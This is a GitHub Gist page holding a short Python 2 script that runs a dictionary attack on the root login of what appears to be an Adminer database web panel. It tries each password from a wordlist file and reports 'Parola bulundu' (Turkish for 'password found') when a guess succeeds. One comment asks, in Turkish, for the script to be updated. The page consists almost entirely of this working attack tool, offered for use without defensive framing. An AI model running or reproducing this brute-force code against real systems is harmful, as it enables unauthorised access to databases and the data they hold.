Skip to content

Instantly share code, notes, and snippets.

@barkink
Created April 18, 2017 22:29
Show Gist options
  • Save barkink/5405d041c657b81a88e17e81b40d4ef6 to your computer and use it in GitHub Desktop.
Save barkink/5405d041c657b81a88e17e81b40d4ef6 to your computer and use it in GitHub Desktop.
import requests
"""
proxies = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080',
}
"""
proxies=None
user = "root"
password = ""
host = ""
host2 = host + "?username=" + user
file = '/tmp/test.txt'
#payload = {"auth%5Bdriver%5D":"server","auth%5Bserver%5D":"","auth%5Busername%5D":user,"auth%5Bpassword%5D":password,"auth%5Bdb%5D":""}
payload = {"auth[driver]":"server","auth[server]":"","auth[username]":user,"auth[password]":password,"auth[db]":""}
res = requests.Session()
res.get(host,proxies=proxies, verify=False)
try:
f = open(file, 'r').read().split('\n')
for line in f:
payload = {"auth[driver]":"server","auth[server]":"","auth[username]":user,"auth[password]":line,"auth[db]":""}
r = res.post(host, data=payload, proxies=proxies, verify=False, allow_redirects=False)
#print (r.headers)
r2= res.head(host2, proxies=proxies, verify=False)
if r2.status_code == 200:
print "Parola bulundu - ad: %s parola: %s" % (user, line)
break
#print ( r2.status_code)
except IOError:
r = res.post(host, data=payload, proxies=proxies, verify=False, allow_redirects=False)
#print (r.headers)
r2= res.head(host2, proxies=proxies, verify=False)
if r2.status_code == 200:
print "Parola bulundu - ad: %s parola: %s" % (user, password)
#print ( r2.status_code)
print "Bitti."
@lasthero123
Copy link

Güncellermisin script'i? 👯‍♂️

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment